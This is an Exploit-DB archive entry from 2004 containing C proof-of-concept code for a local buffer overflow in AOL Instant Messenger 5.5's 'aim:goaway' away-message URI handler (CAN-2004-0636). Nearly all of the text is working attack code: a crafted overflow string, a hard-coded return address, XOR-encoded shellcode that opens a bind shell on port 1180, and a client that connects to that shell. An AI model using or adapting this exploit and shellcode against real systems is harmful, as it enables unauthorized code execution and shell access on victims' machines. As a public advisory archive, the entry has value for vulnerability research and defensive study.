Exploit-DB #395
Description: AOL Instant Messenger AIM - 'Away' Message Local Overflow
Type: local
Platform: windows
Date: 2004-08-14
Author: mandragore

Exploit:
/*

subject:    local PoC exploit for AIM 5.5.3595

vendor:     http://www.aim.com
cve:          http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636
credits:      Matt Murphy
date:        10 August 2004

notes:      exploits localy if an argument is supplied, otherwise prints the url.
            offsets are based on exe/dll provided in the package, so it should be NT universal. 
            shellcode makes a bindshell on port 1180.

greets:     roSec - Romanian Security Research - www rosec info

author:     mandragore

*/


#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

#define GPA 0x004040a4
#define LLA 0x00404088

#define fatal(x) { perror(x); exit(1); }

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char *uri="aim:goaway?message=";

unsigned char smalljmp[]={ 0xeb, 0x08 };

void client2serv(unsigned int s) {
	char buff[4096];

	for (;;) {
		fgets(buff,4096,stdin);
		send(s,buff,strlen(buff),0);
	}
}

void sh() {
	int ret;
	long s;
	WSADATA wsa;
	struct sockaddr_in sin;
	char buff[4096];
	fd_set fds;
	long host=0x0100007f;

	WSAStartup(0x202,&wsa);

	sin.sin_family=2;
	sin.sin_port=htons(1180);
	sin.sin_addr = *(struct in_addr *)&host;

	s=socket(2,1,6);
	if ( ret=connect(s,(struct sockaddr *)&sin,16) != 0) {
		fatal("[-] damn.. it looks like it failed\n");
	} else
		printf("[+] connected.\n\n");

	CreateThread(0,0,(void *)client2serv,(long *)s,0,0);

	for (;;) {
		FD_ZERO(&fds);
		FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
			fatal("[-] shell.select()");

		if (FD_ISSET(s,&fds)) {
			if ( (ret = recv(s,buff,4096,0)) < 1 )
				fatal("[-] shell.recv()");
			memset(buff+ret,0,1);
			printf("%s",buff);
		}
	}

}

void fixsh() {
	int gpa=GPA^0xdededede, lla=LLA^0xdededede;
	memcpy(bsh+0x1a,&gpa,4);
	memcpy(bsh+0x2b,&lla,4);
}

int main(int argc, char **argv) {
	char *t;
	int retaddr=0x10015599; // call ebx from rtvideo.dll, should be stable

	fixsh();

	t=GlobalAlloc(0x40,2000);
	memset(t,0x41,1500);
	strncpy(t,uri,strlen(uri));
	memcpy(t+1037-4,&smalljmp,2);
	memcpy(t+1037,&retaddr,4);
	memcpy(t+1037+4+4,&bsh,sizeof(bsh));

	if (argc==1) {
		printf("%s\n",t);
		return 0;
	}

	printf("[+] sending request..\n");

	ShellExecute(0,"open",t,0,0,SW_SHOW);

	printf("[%%] let's sleep 5secs..\n");
	
	Sleep(5000);

	sh();

	return 0;
}

// milw0rm.com [2004-08-14]